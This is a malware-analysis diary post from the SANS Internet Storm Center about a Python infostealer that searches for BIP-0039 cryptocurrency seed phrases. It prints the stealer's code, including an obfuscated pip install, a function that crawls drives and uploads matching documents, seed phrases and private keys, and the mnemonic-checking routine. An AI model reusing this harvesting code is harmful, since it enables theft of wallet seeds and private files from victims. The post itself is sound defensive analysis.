An Infostealer Searching for « BIP-0039 » Data, (Fri, Nov 22nd)

I like obfuscation techniques implemented by malware developers. If their primary purpose is to defeat security controls and automatic scanners, they are a great starting point for malware analysts. Indeed, if some data or actions have been obfuscated, that means that they can disclose interesting TTP’s. When reviewing a malicious Python script, I found this piece of code:

_M='-m';_P='pip';_L='install'
subprocess.check_call([sys.executable,_M,_P,_L,'mnemonic']);from mnemonic import Mnemonic

The script is trying to install the mnemonic Python module[1]. I had never heard of this one before. The documentation says:

« Reference implementation of BIP-0039: Mnemonic code for generating deterministic keys »

BIP means « Bitcoin Improvement Proposal ». The proposal 39[2] is related to a standard used in cryptocurrency wallets to make it easier and safer to store and recover your private keys. Instead of showing you a complicated private key (a long string of random letters and numbers), BIP-0039 converts it into a set of easy-to-remember words, like “apple,” “banana,” “cherry,” etc. This is called a mnemonic phrase or seed phrase.

Example:

>>> import mnemonic
>>> from mnemonic import Mnemonic
>>> m = Mnemonic(“english”)
>>> m.generate()
‘program federal filter notable taxi kit range hobby unhappy raven power olympic’

It’s like many password managers that allow to create « memorable » passwords. The human brain can easily remember simple words instead of complex strings.

Now, you can understand why this Python script is using this module. Besides the classic searches across files, it also searches for mnemonic phrases. Here is the piece of code performing this task:

def fenv():
    try:
        if os_type == "Windows":
            available_drives = get_available_drives()
            for drive in available_drives:
                for root, dirs, files in os.walk(drive+'\', topdown=False):
                    for name in files:
                        if is_pat(name):
                            if is_exceptFile(name) == False:
                                if is_exceptPath(root) == False:
                                    if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json')):
                                        ups(os.path.join(root, name))
                                    else:
                                        try:
                                            content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                            if ismnemonic(content):
                                                ups(os.path.join(root, name))
                                            if in_pk(str(content)):
                                                ups(os.path.join(root, name))
                                        except:
                                            pass
            ups(os.path.join(os.path.expanduser("~"), ".n2/flist"))
        else:
            for root, dirs, files in os.walk(os.path.expanduser("~"), topdown=False):
                for name in files:
                    if is_pat(name):
                        if is_exceptFile(name) == False:
                            if is_exceptPath(root) == False:
                                if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json')):
                                    ups(os.path.join(root, name))
                                else:
                                    try:
                                        content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                        if ismnemonic(content):
                                            ups(os.path.join(root, name))
                                        if in_pk(str(content)):
                                            ups(os.path.join(root, name))
                                    except:
                                        pass
            ups(os.path.join(os.path.expanduser("~"), ".n2/flist"))
    except: pass

The ismnemonic() function is pretty simple. The content is the file is split per lines, lines are split per words and if we have 12, 16 or 24 words (required by BIP-0039), we check if it’s a mnemonic phrase:

def ismnemonic(st):
   try:
      st = st.split('n')
      for txt in st:
         word_cnt = len(txt.split(" "))
         if word_cnt == 12 or word_cnt == 16 or word_cnt == 24:
               mnemo = Mnemonic("english")
               isValid = mnemo.check(txt)
               return isValid
         else:
               return False
   except:
      pass

It a mnemonic phrase is discovered, the file will be exfiltrated. Note that only English speakers are targeted.

The script has a score of 10/64 according to VT (SHA256: 737c6c397d182f27f692e2934d2a1235011a41c09e5f8640d21a8fee0c48c632)[3].

[1] https://pypi.org/project/mnemonic/
[2] https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki
[3] https://www.virustotal.com/gui/file/737c6c397d182f27f692e2934d2a1235011a41c09e5f8640d21a8fee0c48c632/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Leave a Reply

Your email address will not be published. Required fields are marked *